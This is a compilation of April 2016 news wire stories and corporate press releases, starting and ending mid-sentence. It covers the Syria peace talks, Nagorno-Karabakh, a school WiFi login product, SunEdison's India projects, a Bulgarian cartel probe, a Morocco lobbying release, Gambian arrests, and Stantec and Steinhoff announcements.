Assad. President Barack Obama, on a visit to London, said the Syrian crisis cannot be solved without political negotiations and that required dealing with people he deeply disagrees with. "We are not going to solve the overall problem unless we can get this political track moving," Obama told a joint news conference with British Prime Minister David Cameron. He said he had always been skeptical about Putin's actions and motives in Syria and that Russia will recognise that the Syrian problem cannot be solved by military means. Washington is leading its own campaign of air strikes against Islamic State positions in both Iraq and Syria. It acknowledged on Friday that 20 civilians were among those killed in its strikes between Sept. 10 and Feb 2. Britain's envoy to the Syria peace talks, Gareth Bayley, said on Friday: "The regime is so reliant on external support that it is inconceivable that its allies don't have the leverage to change its approach." Russian Foreign Minister Sergei Lavrov said on Friday that the decision by the opposition High Negotiations Committee (HNC) to quit Geneva was not a loss for anyone except the HNC itself. "If they want to ensure their participation (in the peace talks) only by putting ultimatums, with which others must agree, it's their problem," Lavrov said, adding: "For God's sake, we shouldn't be running after them, we must work with those who think not about their career, not about how to please their sponsors abroad, but with those who are ready to think about the destiny of their country." Moscow and Washington sponsored the fragile cessation of hostilities that went into effect on Feb. 27 to allow talks to take place but has been left in tatters by increased fighting in the past week. A warplane crashed southeast of Damascus airport on Friday, said the Syrian Observatory for Human Rights, which monitors the conflict with a network of sources on the ground. It said the cause of the crash and the fate of the pilot were not clear. The Islamic State group released a video claiming to have shot it down. Footage showed fighters around burning plane wreckage, part of which had a Syrian flag painted on it. Reuters could not independently verify the video. Russia's Interfax news agency quoted a Syrian military source saying it crashed due to technical malfunction. In Aleppo, government air strikes in different parts of the city killed at least 19 people and wounded dozens more on Friday, with the death toll expected to rise due to serious injuries, the Observatory said. Further southwest in Hama province, warplanes targeted rebel-held areas in the strategic Ghab plain that borders Latakia province, Assad's coastal heartland. Insurgents announced a new battle in Latakia earlier this week which they said was in response to ceasefire violations by the government side, launching fierce assaults there. Fighting raged in the area on Friday, said Observatory. ASSAD MAIN ISSUE Endorsed by the U.N. Security Council, the Geneva peace talks marked the most serious effort yet to resolve the war, but failed to make progress on political issues, with no sign of compromise over the question of Assad's future. Government negotiators say Assad's presidency is non-negotiable. Underlining confidence in Damascus, a top Assad aide reiterated its view that local truce agreements and "destroying terrorism" were the way towards a political solution. The opposition wants a political transition without Assad, and says the government has failed to make goodwill measures such as releasing detainees and allowing enough aid into opposition-held areas besieged by the military. The HNC, which is backed by Western nations and key Arab states, had this week urged more military support for rebels after declaring the truce was over and said talks would not re-start until the government stopped committing "massacres". All the main HNC members had left Geneva by Friday, leaving a handful of experts and a point of contact behind. Syria is now a patchwork of areas controlled by the government, an array of rebel groups, Islamic State, and the well-organised Kurdish YPG militia. On Friday, rare clashes between YPG fighters and government-allied forces and militiamen took place for nearly a third day, the Observatory said, in fighting which a Syrian Kurdish official said had killed 26 combatants. (Additional reporting by John Irish in Geneva; writing by Peter Millership; editing by Peter Graff)
Baku, Azerbaijan, Apr. 22

Trend:

Moscow stands for the strict observance of the agreements on permanent ceasefire from 1994 and 1995 on the Armenia-Azerbaijan Nagorno-Karabakh conflict's settlement, Russia's Foreign Minister Sergey Lavrov said Apr. 22 in Yerevan.

He made the remarks opening the negotiations with Armenian Foreign Minister Edward Nalbandian, RIA Novosti agency reported.

"We, personally Russia's President Vladimir Putin, made efforts to stop the outbreak of violence," said Lavrov.

It is necessary to complete the agreements under the auspices of the OSCE with regards to the confidence-building measures, to defuse tension, snipers, according to Lavrov.

"As for the political settlement, we are ready to do everything possible," noted Lavrov adding that everything possible should be done to avoid violence and incidents.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. The armed clashes resulted in deaths and injuries among the Azerbaijani population. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides, Azerbaijan's Defense Ministry earlier said. Ignoring the agreement, the Armenian side again started violating the ceasefire.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
By Jonathan Landay and Phil Stewart WASHINGTON (Reuters) - Russias latest military moves in Syria have sharpened divisions within the U.S. administration over whether Russian President Vladimir Putin genuinely backs a U.N.-led initiative to end the civil war or is using the negotiations to mask renewed military support for Syrian President Bashar Assad. Russia has repositioned artillery near the disputed city of Aleppo, several U.S. officials told Reuters. Despite withdrawing some fixed-wing aircraft in March, Russia has also bolstered its forces in Syria with advanced helicopter gunships, and renewed airstrikes against moderate opposition groups, said U.S. officials, speaking on condition of anonymity. The Russian reassertion of military backing has prompted some U.S. officials to warn that a failure to respond would be seen by Moscow as a fresh sign of American timidity. That, they say, could encourage Russia to escalate challenges to U.S. and allied militaries through more provocative Russian air and naval maneuvers. They also contend that a U.S. failure to respond would further damage Washingtons relations with Saudi Arabia and other Gulf states seeking to oust Assad, and with Turkey, which has been firing artillery at Islamic State targets in Syria. The answer, they argue, is stepped-up U.S. support for moderate Syrian rebel factions with more anti-tank missiles and grenade launchers sent through third countries. However, other officials, including National Security Advisor Susan Rice, have vetoed any significant escalation of U.S. involvement in Syria, the officials said. Rice is the fly in the ointment, said a person familiar with the internal debate. Obama himself has long been reluctant to deepen U.S. involvement in the war, saying last October that Washington would not get drawn into a "proxy war" with Moscow. His administration has focused more on pressing the fight against the militant Islamic State group, which controls a swathe of northeastern Syria. The White House declined comment about any internal debate on Syria or Putin's intentions. The United States and other Western nations have struggled to read Putin's intentions ever since Russian forces launched a surprise deployment in support of Assad last September. His abrupt announcement in March of a partial withdrawal and other steps have continued to leave Western policy makers guessing about his agenda. READING PUTIN The current debate over how to respond to Russia's military moves partly reflects a difference of opinion in Washington over whether Putin has been sincere in his backing for the U.N. peace process which is now struggling for survival. U.S. officials and experts question why Putin hasnt been able, or willing, to press Assad into making more concessions in the negotiations. Either Russia has pulled the wool over Obamas and (U.S. Secretary of State John) Kerrys eyes or theyve pulled it over their own eyes, said the person familiar with the internal debate and who asked not to be identified. On one side are U.S. military and intelligence officials who think Putin does support the U.N.-backed talks. These officials argue that Assad then undermined the initiative by obstructing the Geneva process and ignoring the ceasefire, provoking responses by the rebels and leaving the truce in shreds. As a result, Putin had no choice but to ramp up support for his Syrian ally, they say. I think the regime played a very, very sly game, said Charles Lister, an expert with the Middle East Institute. They were playing spoiler with the full knowledge that the oppositions patience would wear out. Other U.S. officials and experts think Putin has never been sincere about diplomacy, and that Obama and Kerry were naive to believe Russian statements of support. Putin remains wedded to keeping Assad in power and ensuring that Russia retains a naval port on the Mediterranean coast and an airfield in northern Syria, the only major military bases it has outside the former Soviet Union, they said. This was a cynical game from the beginning by Putin, agreed Jeffrey White, a former senior Defense Intelligence Agency analyst now with the Washington Institute for Near East Policy. I dont believe for a minute that he was buffaloed by Assad. I think they are in league together. While U.S. officials gave conflicting assessments on whether Russia had sent additional artillery to Syria, the Obama administration on Thursday openly expressed concern about reports that Russia has shipped more materiel into the country. The Pentagon has declined to speculate on Russian motives. I dont know what their intentions are. What I do know is that we have seen regime forces, with some Russian support as well, begin to mass and concentrate combat power around Aleppo, Army Colonel Steve Warren, the Baghdad-based spokesman for the U.S.-led coalition fighting Islamic State, said on Wednesday. So this is something that were concerned about and something were keeping an eye on." (Reporting by Jonathan Landay and Phil Stewart; editing by Don Durfee and Stuart Grudgings)
Networking & Wireless

Xirrus Adds Google Integration for Streamlined Authentication

Xirrus EasyPass enables single sign-on WiFi access with Google credentials.

Students and teachers can now use their Google credentials to log on to a schools wireless network, thanks to a new offering from WiFi provider Xirrus. The companys EasyPass mobile access management product now allows schools to integrate WiFi access with the Google Apps for Education ecosystem, streamlining the authentication process and bolstering security and ease-of-use.

Xirrus EasyPass Google integration makes it easy and inexpensive to secure a schools WiFi network by leveraging the cloud-based Google authentication system already in place. Users simply open a web browser, and then enter their Google credentials to access both their Google account and the WiFi network. For added security, the EasyPass Google integration has optional two-factor authentication where an additional passcode can be sent via SMS to the phone number linked to the account.

"This ultimately simplifies the student and teacher experience while reducing the administrators to do list. Whether students are working on solo projects, collaborating with their peers or studying from home, fully utilizing cloud technologies available to us opens up new possibilities to integrate, simplify and lower costs, according to a news release.

Feedback from administrators using the EasyPass Google integration has been positive so far. The new integration has been easy to implement, user friendly and written in plain language. Its very granular and scalable, meaning there are different ways to onboard students and onboard guests, reported Chad Lewis, director of technology for Tampa Prep School. The Florida school operates on the bring-your-own-device (BYOD) model; it has been using Xirrus WiFi for the past six years and has piloted Google EasyPass for the last two months.

Lewis explained that the schools previous authentication system was tied to AD (Active Directory) and offered limited security. Tampa Prep is now in the process of moving away from directory services and moving onto a Google authentication model. The schools learning management system (Haiku Learning), tools for building interactive lessons (Apollo) and other products now all authenticate off of Google.

With the network access control system, students have to enroll their device using their school-provided e-mail address. Now, if anything happens on the network, we will know exactly who or what caused the problem, said Lewis.

About the Author Sri Ravipati is Web producer for THE Journal and Campus Technology. She can be reached at [email protected].



The Google integration is now available to customers who are using Xirrus EasyPass.
The headquarters of SunEdison is shown in Belmont, California April 6, 2016. REUTERS/Noah Berger

By Krishna N. Das

MUMBAI (Reuters) - U.S. renewable energy company SunEdison Inc, which filed for bankruptcy Thursday, aims to secure partners for about 1.7 gigawatts of planned projects in India within two months, the head of its Asia business said on Friday.

Pashupathy Gopalan, president of SunEdison Asia Pacific, told Reuters the company had excluded India - its largest market outside the United States - from its bankruptcy process. As a result, it planned to keep growing in the country.

"Nothing really has changed other than that we will look for equity partners in our India projects and India business," he said by telephone from the United States.

Sources familiar with the matter told Reuters last week that the company is in talks to sell stakes in the planned projects with India's Adani Group and Finland's Fortum. None of the parties have commented.

Gopalan did not comment on why India, which accounts for a fifth of SunEdison's total business, was excluded from the bankruptcy. Officials at the U.S. parent did not immediately comment.

SunEdison was, at its peak, the United States' fastest growing renewable energy group - expanding capacity through acquisitions and aggressive bidding, including in India, where last year it won a solar project in Andhra Pradesh state by offering to sell power at record low prices.

SunEdison currently has around 700 megawatts of projects financed and nearly constructed in India, with another 1.7 gigawatts of capacity to be completed in two years, Gopalan said.

Around 80 percent of the planned projects are solar and the rest are wind energy.

Gopalan said he was confident of striking partnership deals soon and would bid for new projects after that, a growth strategy questioned by industry analysts and consultants.

"SunEdison should try to complete existing projects so that it does not lose bank guarantees submitted during bids," said Jasmeet Khurana, at solar consultancy Bridge To India.

A person familiar with SunEdison's stake sale process said the company's complex structure, where its units run some of its main assets, along with restrictions preventing companies from exiting Indian solar projects, would also keep suitors at bay.

(Reporting by Krishna N. Das; Editing by Clarence Fernandez and Christian Schmollinger)
SOFIA, April 22 (Reuters) - Bulgaria's anti-monopoly watchdog said it had raided the offices of Eco Petroleum, part of Hellenic Petroleum (LSE: 0K9U.L - news) , and Shell Bulgaria, owned by Royal Dutch Shell (Xetra: A0ET6Q - news) , as part of an investigation into possible cartel agreements.

The inquiry follows complaints by Bulgarians over high fuel costs despite a plunge in global oil prices and a call by Prime Minister Boiko Borisov for the competition authority to hasten checks on the fuel sector.

"Employees of the Commission for Protection of Competition are carrying out surprise checks on site at the offices of Eco Bulgaria and Shell Bulgaria," the commission said in a statement on Friday.

Shell (LSE: RDSB.L - news) and Eco Petroleum were not available for comment but the Bulgarian Petrol and Gas Association, of which all of the companies being investigated are members, has said there were no cartel agreements between any of its members.

The latest raids follow others earlier this month on the Bulgarian offices of Russia's Lukoil (Other OTC: LUKOF - news) and Romania's Rompetrol.

In February, the watchdog began investigating the four companies, as well as the offices of OMV (EUREX: 430021.EX - news) , Nis Petrol, controlled by Russia's Gazprom Neft and Bulgarian Petrol over possible price fixing.

It (Other OTC: ITGL - news) has also launched a probe into the Lukoil Neftochim Burgas oil refinery over possible breaches of competition rules related to the sale of its fuels on the local market. (Reporting by Tsvetelia Tsolova and Angel Krasimirov; Editing by Alexander Smith)
WASHINGTON, DC--(Marketwired - April 21, 2016) - In a hearing on US-Morocco relations held Wednesday in Rayburn House Office Building, members of Congress from both sides of the aisle praised Morocco as a "stable and stalwart US ally in a complicated part of the world," and called for a negotiated solution to the forty-year-old Western Sahara conflict based on a formula of autonomy under Moroccan sovereignty.

"The US and Morocco have had a long and strategic relationships for so very long," said Chairman of the House Foreign Affairs Subcommittee on Middle East and North Africa Ileana Ros-Lehtinen (R-FL) in opening statements at the event, which was co-sponsored by Subcommittee Ranking Member Ted Deutch (R-FL). "Morocco has been one of the few bright spots of stability, of reform, of progress in North Africa, and we want to see that continue."

Referring to the imminent renewal of the United Nations (UN) peacekeeping mission in the Sahara known as MINURSO, the Chairman noted, "That's why it is so vital that the United States reaffirm our position in support of Morocco and work with our ally to draft a clean resolution that will bring this crisis to a close." The crisis she was referring to dates back to last month when, as she explained at the hearing, "[United Nations] Secretary General Ban Ki-moon made some outrageous comments misrepresenting Morocco's administration of the Western Sahara. The Secretary General's indiscrete comments called into question the neutrality of the United Nations and its ability to facilitate what we want -- a negotiated solution."

Other members of Congress in attendance included Congressman Mario Diaz-Balart (R-FL), Congressman Gregory Meeks (D-NY), Congressman Carlos Curbelo (R-FL), and Congressman Albio Sires (D-NJ). A panel of experts provided testimony in support of Moroccan sovereignty over the region.

"Polisario intransigence, coupled with historical North African rivalry embedded in Algeria's view of the Western Sahara, represent the two defining impediments to a solution," said former US Ambassador to Morocco Marc Ginsberg, reflecting on his experience in Rabat under the first Clinton Administration. Remarking on the UN Secretary General's recent comments on the issue, Ambassador Ginsberg expressed his "deep disappointment with the unwarranted and unhelpful interference by UN Secretary General Ban Ki-moon," adding that Ban "has singularly undermined the critical role which the United Nations has heretofore played to preserve the peace."

Story continues

"[Autonomy] under Moroccan sovereignty constitutes a just and viable solution, particularly at a time where the expansion of ISIS and Al Qaeda in North Africa should render independence the least justifiable option for American security," he went on.

Echoing the sentiment, former US Ambassador to Morocco Michael Ussery said, "For the US, the clear option going forward is one of common sense, supporting Morocco, our long-standing friend and an ally in the war on terror, and a nation of religious tolerance." He warned that an independent Western Sahara "is a path that can lead to more regional instability and terrorism and possibly the next Libya."

"I think it is important that we speak plainly and with common sense about the best outcome for the people and territory of Western Sahara and, frankly, what is in the national security interest of the United States," said former Senate Foreign Relations Committee Staff Director Lester Munson. "This outcome -- genuine local autonomy [under Moroccan sovereignty] for the people of Western Sahara -- is a reasonable compromise that accounts for most of the interests of all parties."

Speaking to the welfare of the people of the region, Nizar Baraka, President of Morocco's Economic, Social, and Environmental Council, explained how Morocco is doing everything it can to improve life for those living in the Western Sahara, namely through the country's regionalization plan, which "consists of a large transfer of authority to directly elected regional councils," as well as a number of infrastructure and economic development initiatives. "Through their elected representatives, the populations of the Moroccan Sahara choose to take full and entire responsibility in building a better future for their children without being hostage of the long-lasting UN process."

US policy on the Western Sahara dates back to 1999 and has continued under the Clinton, Bush, and Obama Administrations. In a Joint Statement issued on November 22, 2013 following a meeting between President Obama and King Mohammed VI, the US reiterated that Morocco's autonomy plan is "serious, realistic, and credible." The two leaders also affirmed "their shared commitment to the improvement of the lives of the people of the Western Sahara."

The policy -- and support for Morocco's autonomy plan -- has also been reiterated by bipartisan majorities of both the US House and Senate. In April 2009, 233 members of the United States House of Representatives sent a letter to President Obama reaffirming their support for Morocco's autonomy proposal. The letter built on another letter from 2007 signed by 173 Members of the House reiterating Congressional support for the Moroccan plan, and a letter from former Secretary of State Madeleine Albright and other former policy makers. In March 2010, 54 members of the United States Senate affirmed their support for Morocco's autonomy plan in a letter addressed to thenSecretary of State Hillary Clinton, urging her to "make the resolution of the Western Sahara stalemate a U.S. foreign policy priority for North Africa." In its legislative report for the 2016 Appropriations Bill passed in December 2015, Congress re-affirmed its strong bipartisan support for a negotiated solution to the dispute over the region based on autonomy under Moroccan sovereignty, and encouraged American private sector investment in Western Sahara.

The Moroccan American Center for Policy (MACP) is a non-profit organization whose principal mission is to inform opinion makers, government officials, and interested publics in the United States about political and social developments in Morocco and the role being played by the Kingdom of Morocco in broader strategic developments in North Africa, the Mediterranean, and the Middle East.

This material is distributed by the Moroccan American Center for Policy on behalf of the Government of Morocco. Additional information is available at the Department of Justice in Washington, DC.
Baku, Azerbaijan, Apr.22

Trend:

The developments in the Nagorno-Karabakh region showed that it is necessary to resolve this conflict by diplomatic means, Russia's Foreign Minister Sergei Lavrov said Apr.22 following the meeting with his Armenian counterpart Edward Nalbandian in Yerevan.

As one of the co-chairs of the OSCE Minsk Group, Russia will provide all possible assistance to the parties of the Nagorno-Karabakh conflict in the process of settlement, he added.

On the night of April 2, 2016, all the frontier positions of Azerbaijan were subjected to heavy fire from the Armenian side, which used large-caliber weapons, mortars and grenade launchers. Azerbaijan responded with a counter-attack, which led to liberation of several strategic heights and settlements.

Military operations were stopped on the line of contact between Azerbaijani and Armenian armies on Apr. 5 at 12:00 (UTC/GMT + 4 hours) with the consent of the sides.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations.

Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.
DAKAR (Reuters) - More than 30 protesters remain in custody in Gambia nearly a week after their arrest for demanding free speech and electoral reform, though authorities have released 15 others, opposition sources said on Wednesday. Security forces in the small West African nation made the first wave of arrests during a small demonstration near the capital Banjul last Thursday and then made a second round-up of opposition politicians on Saturday. In all, 50 were arrested, according to sources in the United Democratic Party (UDP), the country's main opposition party, in what the United Nations and the United States have condemned as a severe over-reaction to the protests. Three of those arrested, including a leading UDP member, Solo Sandeng, are feared dead, the party has previously said. The Gambian government has not commented on the arrests. It has also not confirmed the release of any protesters or the reported deaths. Gambian police sources last week confirmed there had been some arrests but gave no number. UDP leader Ousainu Darboe is among those still held in custody. A lawyer for Darboe, Antouman Gaye, has filed a request for the release of him and other leading party members with the Supreme Court. The demonstrations were a rare act of defiance in Gambia and occurred while President Yahya Jammeh was in Turkey attending a summit of Islamic countries. Jammeh, who seized power in a 1994 coup, is regularly denounced by rights groups and foreign governments for ruthlessly stamping out political dissent in the nation of two million people. The former military man, who scrapped term limits from the constitution, is expected to extend his rule in elections due in December. (Reporting By Edward McAllister; Editing by Gareth Jones)
EDMONTON, ALBERTA and NEW YORK, NEW YORK--(Marketwired - Apr 21, 2016) - (STN)(STN)

Stantec will be releasing its financial results for the first quarter of 2016 on Thursday, May 12, 2016. Bob Gomes, president and chief executive officer, and Dan Lefaivre, executive vice president and chief financial officer, will hold a conference call at 2:00 PM MDT (4:00 PM EDT) to discuss the first quarter results. Financial analysts who wish to participate in the conference call are invited to call:

Toll-free: 1-800-499-4035

Provide the confirmation code 1458024 to the first available operator.

For all interested investors and the news media, the conference call will be broadcast live and archived in its entirety in the Investors section of www.stantec.com.

Stantec's Annual General Meeting of Shareholders will be held on May 12, 2016, at 10:30 AM MDT (12:30 PM EDT) at the Stantec office (New York boardroom), 10160 - 112th Street, Edmonton, Alberta.

About Stantec

We're active members of the communities we serve. That's why at Stantec, we always design with community in mind.

The Stantec community unites more than 15,000 employees working in over 250 locations. Our work-professional consulting in planning, engineering, architecture, interior design, landscape architecture, surveying, environmental sciences, project management, and project economics-begins at the intersection of community, creativity, and client relationships. With a long-term commitment to the people and places we serve, Stantec has the unique ability to connect to projects on a personal level and advance the quality of life in communities across the globe.

Design with community in mind
DGAP-News: Steinhoff International Holdings N.V. / Key word(s): Miscellaneous





The issuer is solely responsible for the content of this announcement.



NOT FOR RELEASE, PUBLICATION OR DISTRIBUTION IN WHOLE OR IN PART, IN, INTO OR FROM ANY JURISDICTION WHERE TO DO SO WOULD CONSTITUTE A VIOLATION OF THE RELEVANT LAWS OF SUCH JURISDICTION FOR IMMEDIATE RELEASE 22 April 2016 PROPOSED MARKET PURCHASES - THIRD INCREASED CASH OFFER for Darty plc ("Darty") by Conforama Investissement 2 SAS ("Conforama")

(a wholly owned subsidiary of Steinhoff International Holdings N.V.)

Further to the announcement of its third increased cash offer of 160 pence per Darty Share (the "Third Increased Offer"), Conforama announces that Steinhoff Finance Holdings GmbH ("SFH"), a wholly owned subsidiary of Steinhoff International Holdings N.V. ("Steinhoff"), has acquired a further 4,814,061 Darty Shares at 160 pence each and now holds a total of 108,020,038 Darty Shares representing 20.4% of the entire issued ordinary share capital of Darty. Darty shareholders interested in selling their Darty Shares for 160 pence per Darty Share in cash to SFH should contact Citi corporate broking (details below) or HSBC corporate broking (details below) who have authority to make a limited number of market purchases (subject to normal settlement). SFH shall not be required to purchase any such Darty Shares. Any purchases made by SFH will be made in accordance with the requirements of the City Code. Enquiries: Citigroup Global Markets Limited Peter Brown (Corporate Broking)

Tel: +44 (0)20 798 6400 HSBC Bank plc Mark Dickenson (Corporate Broking) Tel: +44 (0)20 7991 8888

Important notice related to financial advisers Citigroup Global Markets Limited, which is authorised by the Prudential Regulation Authority and regulated in the United Kingdom by the FCA and the Prudential Regulation Authority, is acting as financial adviser to Steinhoff International Holdings N.V. and for no one else in connection with the Third Increased Offer and will not be responsible to anyone other than Steinhoff International Holdings N.V. for providing the protections afforded to its clients or for providing advice in relation to the Third Increased Offer, the contents of this announcement or any other matters referred to in this announcement. HSBC Bank plc, which is authorised by the Prudential Regulation Authority and regulated in the United Kingdom by the FCA and the Prudential Regulation Authority, is acting as financial adviser to Steinhoff International Holdings N.V. and for no one else in connection with the Third Increased Offer and will not be responsible to anyone other than Steinhoff International Holdings N.V. for providing the protections afforded to its clients or for providing advice in relation to the Third Increased Offer, the contents of this announcement or any other matters referred to in this announcement. Further information This announcement is for information purposes only and does not constitute an offer to sell or subscribe for or an invitation to purchase any securities or the solicitation of any vote or approval in any jurisdiction, or the solicitation of an offer to buy securities, pursuant to the Third Increased Offer or otherwise, nor shall there be any sale, issuance or transfer of securities by Darty or Conforama pursuant to the Third Increased Offer in any jurisdiction in contravention of applicable laws. The Third Increased Offer will be effected solely through the Third Increased Offer Document, which will contain the full terms and conditions of the Third Increased Offer, including details of how to accept the Third Increased Offer. Darty and Conforama urge Darty Shareholders to read the Increased Offer Document which will be distributed to Darty Shareholders, persons with information rights and, for information purposes only, to participants in the Darty Share Plan in due course, as it will contain important information relating to the Third Increased Offer. This announcement does not constitute a prospectus or prospectus equivalent document. This announcement has been prepared for the purpose of complying with English law and the Code and the information disclosed may not be the same as that which would have been disclosed if this announcement had been prepared in accordance with the laws of jurisdictions outside the United Kingdom. Overseas shareholders The release, publication or distribution of this announcement in certain jurisdictions may be restricted by law. Persons who are not resident in the United Kingdom or who are subject to other jurisdictions should inform themselves of, and observe, any applicable requirements. Unless otherwise determined by Conforama or required by the Code and permitted by applicable law and regulation, the Third Increased Offer will not be made, directly or indirectly, in, into or from a Restricted Jurisdiction where to do so would violate the laws in that jurisdiction, and the Third Increased Offer will not be capable of acceptance from or within a Restricted Jurisdiction. Accordingly, copies of this announcement and all documentation relating to the Third Increased Offer are not being, and must not be, directly or indirectly, mailed or otherwise forwarded, distributed or sent in, into or from a Restricted Jurisdiction where to do so would violate the laws in that jurisdiction, and persons receiving this announcement and all documents relating to the Third Increased Offer (including custodians, nominees and trustees) must not mail or otherwise distribute or send them in, into or from such jurisdictions as doing so may invalidate any purported acceptance of the Third Increased Offer. The availability of the Third Increased Offer to Darty Shareholders who are not resident in the United Kingdom may be affected by the laws of the relevant jurisdictions in which they are resident. Persons who are not resident in the United Kingdom should inform themselves of, and observe, any applicable requirements. Further details in relation to overseas Darty Shareholders will be contained in the Third Increased Offer Document. Important information for Darty Shareholders resident in the United States The Third Increased Offer relates to the shares of a UK company and is subject to UK procedural and disclosure requirements that are different from those of the US. Any financial statements or other financial information included in this announcement may have been prepared in accordance with non-US accounting standards that may not be comparable to the financial statements of US companies or companies whose financial statements are prepared in accordance with generally accepted accounting principles in the US. It may be difficult for US holders of shares to enforce their rights and any claims they may have arising under the US federal securities laws in connection with the Third Increased Offer, since Conforama and Darty are located in countries other than the US, and some or all of their officers and directors may be residents of countries other than the US. US holders of Darty Shares may not be able to sue Conforama, Darty or their respective officers or directors in a non-US court for violations of US securities laws. Further, it may be difficult to compel Conforama, Darty and their respective affiliates to subject themselves to the jurisdiction or judgment of a US court. The Third Increased Offer will be made in the US pursuant to Section 14(e) and Regulation 14E under the US Exchange Act as a "Tier II" tender offer, and otherwise in accordance with the requirements of the Code. Accordingly, the Third Increased Offer will be subject to disclosure and other procedural requirements, including with respect to withdrawal rights, offer timetable, settlement procedures and timing of payments that are different from those applicable under US domestic tender offer procedures and law. Darty Shareholders should be aware that Conforama may purchase or arrange to purchase Darty Shares otherwise than under the Third Increased Offer, such as in open market or privately negotiated purchases in accordance with rule 14e-5 under the US Exchange Act. Any such purchases of Darty Shares by Conforama otherwise than under the Third Increased Offer will be publically announced by way of a dealing disclosure pursuant to the requirements of the Code and will be released to an RIS. THIS ANNOUNCEMENT IS NEITHER AN OFFER TO PURCHASE NOR A SOLICITATION TO BUY ANY OF THE SHARES REFERRED TO HEREIN NOR IS IT A SOLICITATION FOR ACCEPTANCE OF THE THIRD INCREASED OFFER. CONFORAMA WILL BE MAKING THE THIRD INCREASED OFFER ONLY BY, AND PURSUANT TO THE TERMS OF, THE THIRD INCREASED OFFER DOCUMENT. THE THIRD INCREASED OFFER IS NOT BEING MADE IN ANY JURISDICTION IN WHICH THE MAKING OR ACCEPTANCE THEREOF WOULD NOT BE IN COMPLIANCE WITH THE SECURITIES, BLUE SKY OR OTHER LAWS OF SUCH JURISDICTION. THIS ANNOUNCEMENT IS NEITHER AN OFFER TO SELL NOR A SOLICITATION OF AN OFFER TO BUY ANY SECURITIES, AND SHALL NOT CONSTITUTE AN OFFER, SOLICITATION OR SALE, IN ANY JURISDICTION IN WHICH SUCH OFFER, SOLICITATION OR SALE IS UNLAWFUL. Forward looking statements This announcement, any oral statements made by Conforama or Darty in relation to the Third Increased Offer, and other information published by Conforama or Darty may contain statements about Conforama and Darty that are or may be forward looking statements. All statements other than statements of historical facts included in this announcement may be forward looking statements. Without limitation, any statements preceded or followed by or that include the words "targets", "plans", "goals", "believes", "expects", "aims", "intends", "will", "may", "anticipates", "estimates", "projects" or words or terms of similar substance or the negative thereof, are forward looking statements. Forward looking statements include statements relating to the following: (i) future capital expenditures, expenses, revenues, earnings, synergies, economic performance, indebtedness, financial condition, dividend policy, losses and future prospects; (ii) business and management strategies and the expansion and growth of Conforama's or Darty's operations and potential synergies resulting from the Third Increased Offer; (iii) currency fluctuations; and (iv) the effects of government regulation on Conforama's or Darty's business. Such forward looking statements involve risks and uncertainties that could significantly affect expected results and/or the operations of Conforama and Darty, and are based on certain key assumptions. Many factors could cause actual results to differ materially from those projected or implied in any forward looking statements. Due to such uncertainties and risks, readers are cautioned not to place undue reliance on such forward looking statements. Each forward looking statement speaks only as of the date of this Announcement (or, in the case of an oral statement, as of the date it was made). Conforama and Darty disclaim any obligation to update or revise any forward looking or other statements contained herein, except as required by applicable law. No profit forecasts or estimates No statement in this announcement is intended as a profit forecast or profit estimate and no statement in this announcement should be interpreted to mean that the future earnings per share of the Steinhoff Group as enlarged by the Third Increased Offer, Conforama and/or Darty for current or future financial years will necessarily match or exceed the historical or published earnings per share of Conforama or Darty. Rounding Certain figures included in this announcement have been subjected to rounding adjustments. Accordingly, figures shown for the same category presented in different tables may vary slightly and figures shown as totals in certain tables may not be an arithmetic aggregation of the figures that precede them. Disclosure requirements of the City Code (the "Code") Under Rule 8.3(a) of the Code, any person who is interested in 1% or more of any class of relevant securities of an offeree company or of any securities exchange offeror (being any offeror other than an offeror in respect of which it has been announced that its offer is, or is likely to be, solely in cash) must make an Opening Position Disclosure following the commencement of the offer period and, if later, following the announcement in which any securities exchange offeror is first identified. An Opening Position Disclosure must contain details of the person's interests and short positions in, and rights to subscribe for, any relevant securities of each of (i) the offeree company and (ii) any securities exchange offeror(s). An Opening Position Disclosure by a person to whom Rule 8.3(a) applies must be made by no later than 3.30 pm (London time) on the 10th business day following the commencement of the offer period and, if appropriate, by no later than 3.30 pm (London time) on the 10th business day following the announcement in which any securities exchange offeror is first identified. Relevant persons who deal in the relevant securities of the offeree company or of a securities exchange offeror prior to the deadline for making an Opening Position Disclosure must instead make a Dealing Disclosure. Under Rule 8.3(b) of the Code, any person who is, or becomes, interested in 1% or more of any class of relevant securities of the offeree company or of any securities exchange offeror must make a Dealing Disclosure if the person deals in any relevant securities of the offeree company or of any securities exchange offeror. A Dealing Disclosure must contain details of the dealing concerned and of the person's interests and short positions in, and rights to subscribe for, any relevant securities of each of (i) the offeree company and (ii) any securities exchange offeror, save to the extent that these details have previously been disclosed under Rule 8. A Dealing Disclosure by a person to whom Rule 8.3(b) applies must be made by no later than 3.30 pm (London time) on the business day following the date of the relevant dealing. If two or more persons act together pursuant to an agreement or understanding, whether formal or informal, to acquire or control an interest in relevant securities of an offeree company or a securities exchange offeror, they will be deemed to be a single person for the purpose of Rule 8.3. Opening Position Disclosures must also be made by the offeree company and by any offeror and Dealing Disclosures must also be made by the offeree company, by any offeror and by any persons acting in concert with any of them (see Rules 8.1, 8.2 and 8.4). Details of the offeree and offeror companies in respect of whose relevant securities Opening Position Disclosures and Dealing Disclosures must be made can be found in the Disclosure Table on the Takeover Panel's website at www.thetakeoverpanel.org.uk, including details of the number of relevant securities in issue, when the offer period commenced and when any offeror was first identified. You should contact the Panel's Market Surveillance Unit on +44 (0)20 7638 0129 if you are in any doubt as to whether you are required to make an Opening Position Disclosure or a Dealing Disclosure. Publication on website A copy of this announcement will be made available, free of charge subject to certain restrictions relating to persons 